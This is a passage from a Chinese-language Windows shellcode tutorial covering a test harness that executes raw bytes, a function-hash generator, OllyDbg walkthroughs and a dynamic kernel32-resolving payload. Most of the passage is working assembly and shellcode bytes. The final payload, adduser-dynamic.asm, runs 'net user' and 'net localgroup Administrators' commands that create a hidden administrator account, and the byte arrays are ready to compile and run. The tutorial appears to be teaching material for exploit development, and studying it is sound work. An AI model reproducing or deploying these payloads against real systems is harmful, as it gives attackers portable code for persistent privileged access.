char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x2a\x59\xbb\x77\x1d\x80\x7c\x51\xff\xd3\xeb\x2f\x59\x51\x50\xbb\xc0\xad\x80\x7c\xff\xd3\xeb\x34\x59\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\x82\xca\x81\x7c\xff\xd0\xe8\xd1\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\xe8\xcc\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x00\xe8\xc7\xff\xff\xff\x48\x65\x79\x00";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
+----------------- End updated shellcodetest.c -----------------+
現在需要編譯已經修改好的shellcodetest.c程序以使它可以執行我們的shellcode.可以用如下命令完成:
gcc -o shellcodetest shellcodetest.c
創建可執行程序”shellcodetest.exe”
記住這個被設計來觸發一個消息框,它含有”Hey”消息,之后他應該在沒有觸發core dump的情況下干凈利索的退出.如果你遇到發生core dump,那么硬編碼的函數地址可能是錯的,同時你需要檢查arwin程序對以上每個函數進行輸出的結果
./shellcodetest.exe ????(message box produced saying "Hey")
消息框引發提示”Hey”
????(click "Ok" and it should exit cleanly)
點擊”OK”并干凈利索地退出.
恭喜!
你已經設計好一些加載Windows庫的shellcode了,動態找到Windows函數的地址,定義并找到字符串常量,并調用函數地址.
這可以讓你在一個恰當的處境中開始設計你自己的shellcode.
然而,在上述代碼中仍然還有一些硬編碼的地址.接下來的教程將告訴你如何通過動態定位Kernel32.dll和GetProcAddress函數來刪掉這些地址.也將告訴你如何使用匯編語言來構造函數讓你可以重用你的代碼.
在前面的教程中,總還有指向已經想調用的windows函數的硬編碼地址.這阻礙了shellcode在多種不同的windows操作系統,服務包,甚至是不同的補丁程序級別上的執行
這個教程的第一步是向學習更加動態的Windows shellcode結構更進一步了,它可以在多種windows操作系統版本,服務包和補丁程序級別上執行. 這個方法起初通過創建一個我們想要調用的函數名的hash來動態找到每個函數的地址,然后shellcode通過搜索相關的DLL(初始是 kernel32.dll),為我們發現的每個函數名計算一個hash,同時用我們預先計算好的hash來與其進行比較.
我們的目的
我們shellcode的目的將是設計一個生成hash的程序(這個程序可以獲取一個函數名字符串的列表并把一個符合的hash表壓在棧上.這個表可以通過OllyDbg調試器看到這個程序也將示范多一些結構,它們是我們定義的函數和常量的區域.
我們正在編譯這段匯編代碼就好像它已經是shellcode了(僅僅是因為暫時拋出程序);然而,它不會真的像shellcode那樣有任何功能同時也僅僅是一個相當有用的程序.它被使用于創建函數hash(為了使用于其它shellcode中)
下一個教程(教程6)為了讓shellcode完全動態(可以在所有服務包和windows98,windowsNT,windows 2000,windowsXP和Windows2003的補丁程序級別中生效),將會把我們在這個教程中生成的函數hash轉換成在教程3中的adduser.asm代碼(它有已經硬編碼了的函數地址)
從教程3來看,我們已經使用了”WinExec”和”ExitProcess”函數,所以為了在教程6中可以使用這些函數,我們將會為這些函數與一堆其他通常會被使用到的函數一起生成hash
在代碼中應該注意什么
這些已經通過”FUNCTION:function_name”和“DEFINE CONSTANTS”部分展示出來了,下面的匯編代碼是由使用匯編語言寫的函數和常量構成的. 當設計shellcode時,函數是有幫助的,因為他們允許簡單的代碼重用,當你多次使用函數時,可以幫助你減少shellcode的代碼量。它們也允許你把它們復制到你設計的其他shellcode中,這使得未來的shellcode更容易編寫.
僅僅要關心的是當設計的shellcode需要盡可能小的代碼量時,它使用一個函數不會設計的比僅僅做內聯動作產生更多的代碼(正如我們已經完成的get_current_address函數那樣...但是那不在這種情況之內).使用諸如”call get_current_address”這樣的標志定義函數,同時通過”call”操作符調用它,例如”call get_current_address”當call操作符被使用時,它首先把當前的地址壓入到堆棧中以便讓它知道返回地址.這個函數通過使用”ret”操作符返回到函數調用的初始位置
一些函數將會把輸入值作為”參數”.這些參數可能僅僅是函數預期的一個位于特定寄存器內的值.然而,通常情況下會通過被壓到棧上(使用”push”操作符例如”push eax”)的值把參數傳遞到函數中.多種不同的參數可能會被壓入到棧上的多種不同的值傳遞到一個函數中.然后函數將通過使用”pop”操作符將這些參數值從棧上攫取(彈出),例如”pop ecx”.函數也可能把返回值壓到棧上以便讓程序可以調用,然后讓返回值彈出.通常發現函數的返回值遺留在”eax”寄存器中使用”db”操作符定義常量,它不過是把未經修改的字符串的字節寫入到代碼中,正如下所示.”db 0x00”在末尾寫了一個null字節來終止字符串..然后我們使用一個標記來定位這些字節并作為一個完整的字符串來使用它們.
locate_constants:?;label start of constants ????db "WinExec" ????db 0x00
匯編語言也有許多分散在各處的”int 3”操作符.”int 3”被稱作是”斷點’,它通知寄存器在某個指令停止運行.這允許你查看被執行的指令,寄存器狀態,堆棧狀態,也可以在內存中從頭到尾地查找第一個斷點被定位在主程序開始的地方.這允許你從頭到尾對一行行的代碼進行單步調試(從程序開始到程序結束,遇到call則步進),這是一種明白每條指令正在做些什么的好方法.
你將意識到我已經把兩個斷點接連著放在了一排
OllyDbg常常在窗口頂部顯示當前執行的指令,這意味著如果我們僅僅有一個斷點,”int 3”指令將不會被顯示出來因為它已經被執行了.
這對于OllyDbg調試器的新手來說可能感到困惑,因此我已經放了兩個斷點,以便在第一個斷點已經被觸發時,可以讓第二次的”int 3”指令顯示給
第三次設的斷點在程序的尾部.這可以讓我們看到棧中包含了產生函數hashes和相對應的函數字符串
Shellcode
接下來是hash-generator.asm的代碼
使用如下代碼在你的本地系統上的Cygwin shellcode目錄內創建hash-generator.asm.確保你已經從頭到尾地閱讀了代碼的注釋因為它們解釋了每一行代碼執行動作的內容,同時為之后的shellcode開發給予了有用的提示.
+--------------- Start hash-generator.asm --------------+
;hash-generator.asm
[SECTION .text]
BITS 32
global _start
_start:
jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: get_current_address
get_current_address:
????push 0 ;create a spot for our result
????push eax ;save eax value
????mov eax, [esp+8] ;copy the return address into eax
????mov dword [esp+4], eax ;move return address into result spot
????pop eax ;restore original eax value
????ret ;return to instruction that called this function
;END FUNCTION: get_current_address
;FUNCTION: compute_hash
compute_hash:
????push 0 ;create an empty spot for our result
pushad ;save current registers onto stack
????mov eax, [esp+36] ;copy the return address into eax
????mov dword [esp+32], eax ;move return address into our empty spot.
???? ;orig return addr spot will be our result spot
????xor edi, edi ;edi will hold our hash result edi
????xor eax, eax ;eax holds our current char eax
????cld
compute_hash_again:
????lodsb ;puts current char into eax
????test al, al ;checks for null - end of function string
????jz compute_hash_finished
????ror edi, 0xd ;rotate the current hash
????add edi, eax ;adds current char to current hash
????jmp compute_hash_again
compute_hash_finished: ;end of compute hash function
???? ;edi now holds hash in 'reverse' ordered
????mov edx, edi ;move the result hash into edx
reverse_next_hash_section:
????mov al, dl ;move the first 8 bits into lower part of eax
????shr edx, 8 ;shift edx right to align next 8 bits of hash
????test dl, dl ;check for null - finished hash reversal
????jz reverse_hash_finished
????shl eax, 8 ;shift eax left ready for next hash section
????jmp short reverse_next_hash_section?; loop back to move next section
reverse_hash_finished: ;final hash is now in eax in correct order
????mov dword [esp+36], eax ;move return value into our return spot.
????popad ;restore the original register values
????ret ;return to instruction that called this function
;END FUNCTION: compute_hash
;DEFINE CONSTANTS
locate_constants: ;label start of constants
????call get_current_address ;find current location in memory
????pop esi ;esi is pointer to function strings
????add esi, 9 ;move pointer over these commands
????jmp short locate_constants_return ;return to our main code
????;Function String
????db "LoadLibraryA" ;result hash = 0x8e4e0eec
????db 0x00
????db "WriteFile"?;result hash = 0x1f790ae8
????db 0x00
????db "CloseHandle"?;result hash = 0xfb97fd0f
????db 0x00
????db "Sleep"?;result hash = 0xb0492ddb
????db 0x00
????db "ReadFile"?;result hash = 0x1665fa10
????db 0x00
????db "GetStdHandle"?;result hash = 0x23d88774
????db 0x00
????db "CreatePipe"?;result hash = 0x808f0c17
????db 0x00
????db "SetHandleInformation"?;result hash = 0x44119e7f
????db 0x00
????db "WinExec" ;result hash = 0x98FE8A0E
????db 0x00
????db "ExitProcess" ;result hash = 0x7ED8E273
????db 0x00
????;Null to indicate end of list
????db 0x00
;END DEFINE CONSTANTS
start_asm:
????int 3 ;start of main program
????int 3 ;second int 3 purely just to show up in OllyDbg
????jmp locate_constants ;find starting location of constants
locate_constants_return: ;define where to return after locating constants
next_hash: ;marks the start of the loop for next hash
????push esi ;push esi as parameter to compute_hash function
????call compute_hash ;compute_hash(esi_string)
???? ;result now located in first position on stack
????int 3 ;tell debugger to stop for each hash created
????int 3 ;second int 3 purely just to show up in OllyDbg
????xor eax,eax ;clear eax
check_null: ;moves pointer to start of next function string
????lodsb ;puts current char into eax
????test al,al ;test if we point to a null
????jz is_null ;if we found a null, we reached end of string
????jmp short check_null ;loop back and check next char
is_null:
????lodsb ;puts current char into eax
????dec esi ;move it back one spot
????test al,al ;test if we point to a null
????jnz next_hash ;2 nulls means end, else loop back for next hash
end:
????int 3 ;calculated function hashes listed on stack
????int 3 ;tell debugger to stop to show hashes on stack
????int 3 ;second int 3 purely just to show up in OllyDbg
+--------------- End hash-generator.asm --------------+
編譯匯編代碼
因此現在已經有我們用匯編語言寫好的shellcode了,我們需要編譯它.這可以使用nasm匯編編譯器來完成,在有msgbox.asm(是你的匯編源代碼文件)的目錄下使用如下命令,msgbox.bin是已經編譯好的二進制輸出文件
nasm -f bin -o hash-generator.bin hash-generator.asm
獲取shellcode
現在我們有了一個編譯好的二進制文件,可以使用xxd工具來為我們生成shellcode文件.這可以使用以下的xxd命令來完成,同時將會生成以下輸出:
xxd -i hash-generator.bin
unsigned char hash_generator_bin[] = {
???? 0xe9, 0xc7, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x50, 0x8b,
???? 0x44, 0x24, 0x08, 0x89, 0x44, 0x24, 0x04, 0x58, 0xc3, 0x68, 0x00, 0x00,
???? 0x00, 0x00, 0x60, 0x8b, 0x44, 0x24, 0x24, 0x89, 0x44, 0x24, 0x20, 0x31,
???? 0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d,
???? 0x01, 0xc7, 0xeb, 0xf4, 0x89, 0xfa, 0x88, 0xd0, 0xc1, 0xea, 0x08, 0x84,
???? 0xd2, 0x74, 0x05, 0xc1, 0xe0, 0x08, 0xeb, 0xf2, 0x89, 0x44, 0x24, 0x24,
???? 0x61, 0xc3, 0xe8, 0xb6, 0xff, 0xff, 0xff, 0x5e, 0x81, 0xc6, 0x09, 0x00,
???? 0x00, 0x00, 0xeb, 0x7b, 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72,
???? 0x61, 0x72, 0x79, 0x41, 0x00, 0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69,
???? 0x6c, 0x65, 0x00, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x48, 0x61, 0x6e, 0x64,
???? 0x6c, 0x65, 0x00, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x52, 0x65, 0x61,
???? 0x64, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x47, 0x65, 0x74, 0x53, 0x74, 0x64,
???? 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74,
???? 0x65, 0x50, 0x69, 0x70, 0x65, 0x00, 0x53, 0x65, 0x74, 0x48, 0x61, 0x6e,
???? 0x64, 0x6c, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69,
???? 0x6f, 0x6e, 0x00, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x45,
???? 0x78, 0x69, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x00,
???? 0xcd, 0x03, 0xe9, 0x77, 0xff, 0xff, 0xff, 0x56, 0xe8, 0x3c, 0xff, 0xff,
???? 0xff, 0xcd, 0x03, 0x31, 0xc0, 0xac, 0x84, 0xc0, 0x74, 0x02, 0xeb, 0xf9,
???? 0xac, 0x4e, 0x84, 0xc0, 0x75, 0xe9, 0xcd, 0x03, 0xcd, 0x03
};
unsigned int hash_generator_bin_len = 238;
這產生一個可以被使用于一個c程序內的字符數組.
輸出的每個十六進制的數字(0xXX)在shellcode內代表一個字節.
那么我們會想怎樣處理這個輸出來產生shellcode呢?我們將使用如下腳本,這個是我放在一起用來去除可以直接地放入我們的“shellcodetest.c”程序中未經修改的shellcode的腳本
這個程序使"hash-generator.bin"起作用,因此運行如下命令,它應該產生如下輸出,這個輸出將自動化地被存儲到”hash-generator.shellcode”中.由于在你的系統上調用的函數地址不同,所以如果你正使用一個和我不同的系統或服務包,這個輸出可能會略有變化
./xxd-shellcode.sh hash-generator.bin
\xe9\xc7\x00\x00\x00\x68\x00\x00\x00\x00\x50\x8b\x44\x24\x08\x89\x44\x24\x04\x58\xc3\x68\x00\x00\x00\x00\x60\x8b\x44\x24\x24\x89\x44\x24\x20\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x89\xfa\x88\xd0\xc1\xea\x08\x84\xd2\x74\x05\xc1\xe0\x08\xeb\xf2\x89\x44\x24\x24\x61\xc3\xe8\xb6\xff\xff\xff\x5e\x81\xc6\x09\x00\x00\x00\xeb\x7b\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x00\x57\x72\x69\x74\x65\x46\x69\x6c\x65\x00\x43\x6c\x6f\x73\x65\x48\x61\x6e\x64\x6c\x65\x00\x53\x6c\x65\x65\x70\x00\x52\x65\x61\x64\x46\x69\x6c\x65\x00\x47\x65\x74\x53\x74\x64\x48\x61\x6e\x64\x6c\x65\x00\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x00\x53\x65\x74\x48\x61\x6e\x64\x6c\x65\x49\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x00\x00\xcd\x03\xe9\x77\xff\xff\xff\x56\xe8\x3c\xff\xff\xff\xcd\x03\x31\xc0\xac\x84\xc0\x74\x02\xeb\xf9\xac\x4e\x84\xc0\x75\xe9\xcd\x03\xcd\x03
創建帶有shellcode的可執行程序 使用”shellcodetest.c”程序來測試我們的shellcode.這個步驟的目的是為了把我們的shellcode插入到一個c程序中,然后可以編譯并執行這個c程序.為了執行我們的shellcode,這個程序已經設計好了. 這樣做之前,需要把你的shellcode插入(從上個步驟生成的)到這個程序中.你把它放到”code[]”數組的引號之間.最后應該看起來像如下代碼中所示的那樣:
+----------------- Start updated shellcodetest.c -----------------+
/*shellcodetest.c*/
char code[] = "\xe9\xc7\x00\x00\x00\x68\x00\x00\x00\x00\x50\x8b\x44\x24\x08\x89\x44\x24\x04\x58\xc3\x68\x00\x00\x00\x00\x60\x8b\x44\x24\x24\x89\x44\x24\x20\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x89\xfa\x88\xd0\xc1\xea\x08\x84\xd2\x74\x05\xc1\xe0\x08\xeb\xf2\x89\x44\x24\x24\x61\xc3\xe8\xb6\xff\xff\xff\x5e\x81\xc6\x09\x00\x00\x00\xeb\x7b\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x00\x57\x72\x69\x74\x65\x46\x69\x6c\x65\x00\x43\x6c\x6f\x73\x65\x48\x61\x6e\x64\x6c\x65\x00\x53\x6c\x65\x65\x70\x00\x52\x65\x61\x64\x46\x69\x6c\x65\x00\x47\x65\x74\x53\x74\x64\x48\x61\x6e\x64\x6c\x65\x00\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x00\x53\x65\x74\x48\x61\x6e\x64\x6c\x65\x49\x6e\x66\x6f\x72\x6d\x61\x74\x69\x6f\x6e\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x00\x00\xcd\x03\xe9\x77\xff\xff\xff\x56\xe8\x3c\xff\xff\xff\xcd\x03\x31\xc0\xac\x84\xc0\x74\x02\xeb\xf9\xac\x4e\x84\xc0\x75\xe9\xcd\x03\xcd\x03";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
+----------------- End updated shellcodetest.c -----------------+
現在需要編譯已經修改好的shellcodetest.c程序以便可以在程序中執行我們的shellcode.通常這將會在Cygwin目錄中使用gcc來完成;然而,這次我們想在windows上運行可執行文件.因此除使用gcc之外,我們將使用在教程1中已經安裝好的windows c編譯器”lcc-win32”
你可以從"Start->All Programs->lcc-win32->lcc-win32"開始使用LCC.你可能創建一個新項目,所有創建命名為”hash_generator”或File菜單中的其他任務.如果它提醒你創建一個”application skeleton”你選擇no,因為我們已經有了c代碼同時也只是想編譯它.接下來使用默認選項來完成剩余的操作.
已經開始運行LCC時,你想要使用File菜單來打開shellcodetest.c文件,可以在例如"C:\cygwin\home{username}\shellcode\shellcodetest.c"這樣的位置找到它
當你打開這個文件時,LCC或許將給你一個警告”1 lines longer than 500 characters were truncated”.忽略它吧.實際上并沒有截斷我們的shellcode.
為了編譯這段代碼,點擊”Compile”菜單選擇”Compile shellcodetest.c”.你現在的shellcode目錄中應該有一個命名為”lcc”的項目目錄,該目錄現在應該包含有shellcodetest.exe程序通常我們將僅僅執行這個程序以在中途執行我們的shellcode;然而這次這樣做是沒有用的,因為我們想看到在棧上生成的hash結果.我們通過使用OllyDbg調試器來實現這個目的.
用OllyDbg執行并分析shellcode
你可以僅僅雙擊在教程1中已經下載好的zip文件開始使用OllyDbg調試器.一旦開始使用了,當你你想使用File菜單來打開shellcodetest.exe時,可以在例如:”C:\cygwin\home{username}\shellcode\lcc\shellcodetest.exe”這樣的位置上找到它,你已經用OllyDbg打開了你的可執行程序,應該可以看到如下圖所示的內容,它含有一些紅色指針指向的內容.
上圖可以看到可執行程序已經被加載到OllyDbg中了.
窗口的左上方顯示了在機器上將會被執行的指令.通過雙擊任意這個窗口的最左邊的任意地址可以實時地在任意一條指令上設立斷點.它將顯示紅色.再次雙擊則取消斷點。可以通過雙擊指令本身隨時更改任意指令.
窗口的右上方顯示著寄存器和它們帶有的值.這允許你確切地看到在寄存器中的每條指令的內容.如果一條指令執行之后寄存器的值改變了那么寄存器將以紅色高亮.
窗口的右下方是棧窗口.這可以讓你實時地看到被壓入,存儲和彈出棧的內容.這可以確切地理解棧是怎樣被控制操作的.一旦你理解透徹了這個原理,它將會幫助你理解如何編寫出更有效率的shellcode來窗口的左下方是一個內存轉儲區域,它可以讓你在內存中看到并搜索未經修改的字節.你可以點擊任意寄存器,堆棧,或代碼訪問并選擇” show in dump” ”Play”按鈕使程序開始并持續運行,直到它到達一個斷點,一個訪問違規,或程序的結束.這也可以通過按下F9鍵來完成.
“stop into”按鈕將在任意時間上執行一條指令;然而,如果它到達了”call”指令,它將步入函數,同時執行每條指令,這可以通過按下F7鍵來實現.
“stop over”按鈕也將在任意時間上執行一條指令;然而,如果他到達了”call”指令,它將”step over”函數,這意味著它將執行函數而不會顯示出每條指令來.
在這個教程中,我們將按下”Play”(或 F9)按鈕來開始我們的程序.因為我們已經把”int 3”指令(斷點)寫入到了我們的shellcode中,調試器將在到達第一斷點時停止執行.如下圖所示:
上圖展示了我們的斷點之一(int 3)
這是我們shellcode開始的main部分,我們在上面已經創建它了.
如果你想確切地通過執行整個程序的每條指令來看到它們在每個寄存器和棧發生什么,你可以持續地按”step into(F7)”或”step Over(F8)”按鈕. 記住在代碼中我們有了兩個并排的斷點.這會發生在第一個int 3停止之后.它將仍然為用戶顯示一個”int 3”,正如上圖中所示的那樣以致于我們立即知道了它是因為斷點而停止的.
除此之外,如果它因為一個錯誤而停止那么之后在OllyDbg底部的狀態欄上會出現一個錯誤消息。
如果你想再次開始執行程序,那么點擊兩下Play按鈕(因為我們有兩個斷點).
這次可以清楚地看到兩個斷點了.call指令在斷點之前是”call compute_hash”指令.這個函數計算hash并把它壓到棧上.你可以在”Stack Window”中看到它,也可以看到函數字符串(被計算出的函數hash)已經被壓到了棧上.你需要記住的是棧就像是堆放起來的一副撲克牌.最后被壓在棧上的”牌”是棧頂的第一個參數,也將會第一個從棧中彈出的.你也可以通過改變”esp”(擴展的棧指針)寄存器來控制棧頂.
因此可以看到已經找到的第一個函數的字符串,它也已經被壓入了棧中,同時對應的hash已經計算出來并壓在了棧上.如果你現在點了兩次Play你將看到下一個函數名和已經壓入到棧中的hash.如果你繼續這樣做,應該開始看以下東西,如下所示:那是一個函數名表和hash(被定位在棧上的)
如果你點擊Play甚至可以來到函數名字表尾,同時程序將向下轉移到表尾,正如圖中所顯示的三個斷點那樣.這可以讓你明白完整的函數名列表和hash,如下圖所示:
恭喜!
你僅僅創建了一個生成hash的程序,它定義,查找,并使用一個函數名字符串同時剔除掉在棧上的對應hash.你已經通過在OllyDbg中執行程序學會了OllyDbg的基礎,它讓你清楚地看到了寄存器和棧
在創建shellcode的同時,你也學習到了怎樣使用一個更加體系化的方法,即創建允許代碼重用且更有效率的shellcode
在創建shellcode時因為你要找到你需要調用的windows函數也需要對應的hash,所以將不斷地使用到這個程序.這是創建可以跨不同windows操作系統的shellcode程序的第一步.
教程6將向你展示如何把這件事正確地做出來!我們將通過改變adduser.asm代碼來刪掉硬編碼的地址.所以我們將會需要在這個教程中生成的”winExec”和”ExitProcess”函數的hash
玩的愉快!
截至目前為止我們已經創建了包含已經硬編碼的windows函數地址shellcode.硬編碼的內存地址把shellcode限制在特定的windows,服務包甚至在可能的補丁程序級別環境下運行.
我們的目的
我們的目的將是創建”Windows Command Execution Shellcode”(從教程3中).它沒有把任何內存地址硬編碼以便讓我們的shellcode可以跨windows 系統移植
首先通過內存中找到Kernel32.dll,之后在Kernel32.dll中遍歷找到每個函數名,同時用我們在上一個教程中生成的函數hash來與每個函數hash比較。 創建函數hash
從教程3中,我們已經在本地系統上使用”WinExec”和”ExitProcess”函數添加了一個擁有管理員權限的用戶.在教程5中我們已經為這些函數創建了hash,也學習到了在我們的shellcode中定義常量的方法.下面小段的代碼向我們示范了在當前的shellcode內定義hash常量
+------------------ [snip] ------------------+
;DEFINE CONSTANTS
????locate_hashes:
????????call locate_hashes_return
????????;WinExec????????;result hash = 0x98FE8A0E
????????db 0x98
????????db 0xFE
????????db 0x8A
????????db 0x0E
????????;ExitProcess????????;result hash = 0x7ED8E273
????????db 0x7E
????????db 0xD8
????????db 0xE2
????????db 0x73
????;END DEFINE CONSTANTS
+------------------ [snip] ------------------+
因此我們怎樣找到Kernel32.dll和函數的地址呢?
Kernel32.dll總是在windows引導起來的時候被加載了,所有的Windows操作系統(在vista前)把Kernel32.dll加載到內存里的一個預定的位置中.可以定位Kernel32.dll,然后從這里步入找到包含在Kernel32.dll中的每個函數名字.這讓我們可以在Kernel32.dll中找到所有函數的地址.
當我們完整循環完每個函數時,對每個函數名計算hash并拿它和我們預先計算好的同時也搜索到的第一個函數hash作比較.在這個階段,我們再次找到我們的第二個函數hash,接著是第三個函數,直到已經到達了我們hash表尾.
The assembly code for this tutorial contains the following new functions that allow us to perform the above actions: 這個教程的匯編代碼包含以下新函數,它們允許我們執行上述動作:
find_kernel32 ????find_function ????resolve_symbols_for_dll
Shellcode數據流
我們的shellcode中的第一個命令跳過所有已經用匯編代碼定義的函數和在”main”中的匯編代碼常量.對于這一點我們需要在我們函數地址的棧上分配空間.每個函數地址是4字節的,因此在用于存儲兩個函數地址的棧上分配8個字節.如果未來的shellcode使用一個額外的函數,那么這個值在棧上應該用12個字節表示-值得關心的是10進制標志和16進制標志
下一條指令把ebp作為一個棧幀指針.它在棧上作為一個不會改變的標志器.這允許我們引用跟ebp寄存器有關系的函數地址
正如下所示:
然后我們的shellcode調用”find_kernel32”,它把Kernel32.dll的地址放在eax寄存器中.之后我們找到我們的不變的函數hash,然后調用”resolve_symbols_for_dll”.這個函數使用”find_function”,它在Kernel32.dll中遍歷以找到使用我們hash的函數地址并在棧上把函數地址放到我們已經分配好的位置上.
我們的函數地址可以用如下調用指令調用:
call [ebp+4] ????;WinExec
call [ebp+8] ????;ExitProcess
正如我們在教程3中所做的那樣,我們現在可以開始用我們的自定義shellcode來調用這些函數以創建一個新用戶,但是這次我們不能使用硬編碼的函數地址了.記住下面的shellcode代碼
The Shellcode
+--------------- Start adduser-dynamic.asm --------------+
;adduser-dynamic.asm
[SECTION .text]
BITS 32
global _start
_start:
????jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
????push esi
????xor eax, eax
????mov eax, [fs:eax+0x30]
????test eax, eax
????js find_kernel32_9x
find_kernel32_nt:
????mov eax, [eax + 0x0c]
????mov esi, [eax + 0x1c]
????lodsd
????mov eax, [eax + 0x8]
????jmp find_kernel32_finished
find_kernel32_9x:
????mov eax, [eax + 0x34]
????lea eax, [eax + 0x7c]
????mov eax, [eax + 0x3c]
find_kernel32_finished:
????pop esi
????ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
????pushad
????mov ebp, [esp + 0x24]
????mov eax, [ebp + 0x3c]
????mov edx, [ebp + eax + 0x78]
????add edx, ebp
????mov ecx, [edx + 0x18]
????mov ebx, [edx + 0x20]
????add ebx, ebp
find_function_loop:
????jecxz find_function_finished
????dec ecx
????mov esi, [ebx + ecx * 4]
????add esi, ebp ; esi now points to current function string
???? ; start of compute hash function
compute_hash: ; put this into a function
????xor edi, edi ; edi will hold our hash result
????xor eax, eax ; eax holds our current char
????cld
compute_hash_again:
????lodsb ; puts current char into eax (except first time)
????test al, al ; checks for null - end of function string
????jz compute_hash_finished
????ror edi, 0xd ; rotate the current hash
????add edi, eax ; adds current char to current hash
????jmp compute_hash_again
compute_hash_finished: ; end of compute hash function
find_function_compare:
????;this is where it compares the calculated hash to our hash
????cmp edi, [esp + 0x28]
????jnz find_function_loop
????mov ebx, [edx + 0x24]
????add ebx, ebp
????mov cx, [ebx + 2 * ecx]
????mov ebx, [edx + 0x1c]
????add ebx, ebp
????mov eax, [ebx + 4 * ecx]
????add eax, ebp
????;this is the VMA of the function
????mov [esp + 0x1c], eax
find_function_finished:
????popad
????ret
????
;END FUNCTION: find_function
;FUNCTION: resolve_symbols_for_dll
resolve_symbols_for_dll:
????;about to load current hash into eax (pointed to by esi)
????lodsd
????push eax
????push edx
????call find_function
????mov [edi], eax
????add esp, 0x08
????add edi, 0x04
????cmp esi, ecx
????jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
????ret
;END FUNCTION: resolve_symbols_for_dll
;DEFINE CONSTANTS
????
locate_hashes:
????call locate_hashes_return
????;WinExec ;result hash = 0x98FE8A0E
????db 0x98
????db 0xFE
????db 0x8A
????db 0x0E
????;ExitProcess ;result hash = 0x7ED8E273
????db 0x7E
????db 0xD8
????db 0xE2
????db 0x73
;END DEFINE CONSTANTS
start_asm: ; start our main program
????sub esp, 0x08 ; allocate space on stack for function addresses
????mov ebp, esp ; set ebp as frame ptr for relative offset on stack
????call find_kernel32?;find address of Kernel32.dll
????mov edx, eax
????;resolve kernel32 symbols
????jmp short locate_hashes ;locate address of our hashes
locate_hashes_return: ;define return label to return to this code
????pop esi ;get constants address from stack
????lea edi, [ebp + 0x04] ;this is where we store our function addresses
????mov ecx, esi
????add ecx, 0x08 ;length of dns shellcode hash list
????call resolve_symbols_for_dll
;add user section
????jmp short GetCommand
CommandReturn:
????pop ebx?;ebx now holds the handle to the string
????xor eax,eax ;empties out eax
????push eax ;push null onto stack as empty parameter value
????push ebx ;push the command onto the stack
????call [ebp+4]?;call WinExec(path,showcode)
????xor eax,eax?;zero the register again, clears winexec retval
????push eax ;push null onto stack as empty parameter value
call [ebp+8]?;call ExitProcess(0);
GetCommand:
????call CommandReturn
????db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser"
????db 0x00
+--------------- End adduser-dynamic.asm --------------+
編譯匯編代碼
在前面的教程中,我們可以手動地用nasm編譯匯編代碼來完成每一個步驟,使用xxd和xxd-shellcode.sh來去除未經修改的shellcode,把未經修改的shellcode插入到shellcodetest.c中,然后用gcc編譯這個測試程序.每次要完成對shellcode作出略微的更改是有點難度的.
因為這個原因,我已經創建了”shellcode-compiler.sh”,它可以為你做所有這些步驟!你應該已經在教程1中下載了這個腳本,和任意其它必須的腳本和程序.這個程序的用法如下所示:
$ ./shellcode-compiler.sh
??????Usage: ./shellcode-compiler.sh filename.asm
??????Eg, ./shellcode-compiler.sh shellcode.asm
把匯編文件作為一個輸入到編譯器的文件,同時創建”filename.shellcode”形式的Cygwin環境下的可執行文件.這個教程的匯編文件可以使用如下命令編譯,并輸出如下所示
$ ./shellcode-compiler.sh adduser-dynamic.asm
把 adduser-dynamic.asm 編譯成 adduser-dynamic.bin
[nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm]
把adduser-dynamic.bin 轉換成 adduser-dynamic.shellcode
[./xxd-shellcode.sh adduser-dynamic.asm]
